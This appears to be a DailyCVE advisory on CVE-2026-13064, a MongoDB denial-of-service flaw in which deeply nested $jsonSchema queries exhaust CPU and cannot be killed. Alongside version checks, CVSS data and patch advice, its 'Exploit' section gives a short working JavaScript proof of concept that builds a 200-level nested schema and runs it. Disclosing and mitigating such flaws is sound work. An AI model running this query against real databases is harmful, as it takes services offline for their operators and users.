MongoDB, Denial of Service (Resource Exhaustion), CVE-2026-13064 (Medium) -DC-Aug2026-1393

Listen to this Post

CVE-2026-13064 is a resource exhaustion vulnerability affecting MongoDB Server versions that support the `$jsonSchema` validation operator. The flaw resides in how the database engine processes deeply nested JSON Schema constructs during query execution. When a query includes a `$jsonSchema` object with excessive nesting depth, the schema validation routine enters a pathological computational path where CPU consumption grows disproportionately—potentially exponentially—relative to the nesting depth.
The core issue lies in the recursive validation algorithm used by MongoDB’s schema validation engine. For each level of nesting within the `$jsonSchema` definition, the engine recursively traverses and validates the structure against the query criteria. Under normal conditions with shallow schemas, this traversal is bounded and performs within acceptable limits. However, when an attacker or an unoptimized application supplies a deeply nested schema—for example, a chain of `properties` objects containing `properties` objects again, repeated dozens or hundreds of levels deep—the validation routine fails to apply any early termination or resource-limiting safeguards.
Crucially, once the CPU-bound validation operation begins, it cannot be interrupted through standard administrative controls such as killOp, query timeouts, connection limits, or maxTimeMS. The validation phase executes outside the normal query interruption framework, meaning that even a superuser with `killOp` privileges cannot terminate the offending operation. The mongod process becomes stuck in a tight CPU loop, consuming 100% of one or more CPU cores until the operation either completes (which may take hours or days for sufficiently deep schemas) or the process is forcibly restarted.
The vulnerability is exploitable over the network with low attack complexity and requires only low-privileged authenticated access. An authenticated user can issue a crafted query containing a maliciously nested `$jsonSchema` definition, triggering the excessive CPU consumption. The impact is strictly on availability—there is no confidentiality or integrity compromise—but the denial-of-service condition can render the entire MongoDB instance unresponsive, affecting all other legitimate database operations. Affected versions include MongoDB 8.0.x before 8.0.28, 8.2.x before 8.2.12, and 8.3.x before 8.3.7. The vulnerability is classified under CWE-407 (Inefficient Algorithmic Complexity) and has been assigned a CVSS 3.1 base score of 6.5 (Medium) and a CVSS 4.0 score of 7.1 (High).

DailyCVE Form:

Platform: MongoDB Server
Version: 8.0<8.0.28/8.2<8.2.12/8.3<8.3.7
Vulnerability: Resource Exhaustion (DoS)
Severity: Medium (CVSS 6.5)
date: 2026-07-22

Prediction: 2026-07-22 (patched)

What Undercode Say:

Analytics:

  • Attack Vector: NETWORK
  • Attack Complexity: LOW
  • Privileges Required: LOW
  • User Interaction: NONE
  • Scope: UNCHANGED
  • Confidentiality Impact: NONE
  • Integrity Impact: NONE
  • Availability Impact: HIGH
  • EPSS Score: 0.00411 (0.411% probability)
  • CWE: CWE-407 (Inefficient Algorithmic Complexity)
  • CAPEC: Resource Exhaustion

Bash Commands and Codes:

Check MongoDB version
mongod --version
For Debian/Ubuntu
dpkg -l | grep mongodb
For RHEL/CentOS
rpm -qa | grep mongodb
Connect to MongoDB and check version
mongosh --eval "db.version()"
List current operations (identify runaway queries)
mongosh --eval "db.currentOp()"
Attempt to kill an operation (WILL NOT WORK for this CVE)
mongosh --eval "db.killOp(<opid>)"
Force restart mongod service (temporary mitigation)
sudo systemctl restart mongod
Enable slow query logging to detect problematic $jsonSchema queries
mongosh --eval "db.setProfilingLevel(1, { slowms: 1000 })"

Exploit:

A crafted query with deeply nested `$jsonSchema`:

// Malicious deeply nested $jsonSchema construct
var deepSchema = { $jsonSchema: { bsonType: "object" } };
for (var i = 0; i < 200; i++) {
var newObj = {};
newObj["properties"] = { "x": deepSchema };
deepSchema = newObj;
}
// Execute the malicious query
db.collection.find(deepSchema);

This triggers exponential CPU consumption. The operation cannot be killed via `db.killOp()` or maxTimeMS.

Protection:

  • Immediate: Upgrade to MongoDB 8.0.28, 8.2.12, or 8.3.7 or later.
  • Workaround: Restrict `$jsonSchema` usage to trusted applications only.
  • Hardening: Implement query validation layers to reject schemas exceeding a defined nesting depth (e.g., > 10 levels).
  • Monitoring: Set up CPU utilization alerts and automatic failover procedures to restart unresponsive nodes.
  • Network: Restrict database network access to trusted IP ranges to limit attack surface.

Impact:

  • Service Unavailability: Complete MongoDB instance unresponsiveness.
  • Resource Exhaustion: 100% CPU consumption on affected cores.
  • Administrative Lockout: Standard `killOp` and timeout controls ineffective.
  • Cascading Failures: Application timeouts, connection pool exhaustion, and potential cluster instability.
  • Recovery Time: Requires manual process restart; no in-flight termination possible.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top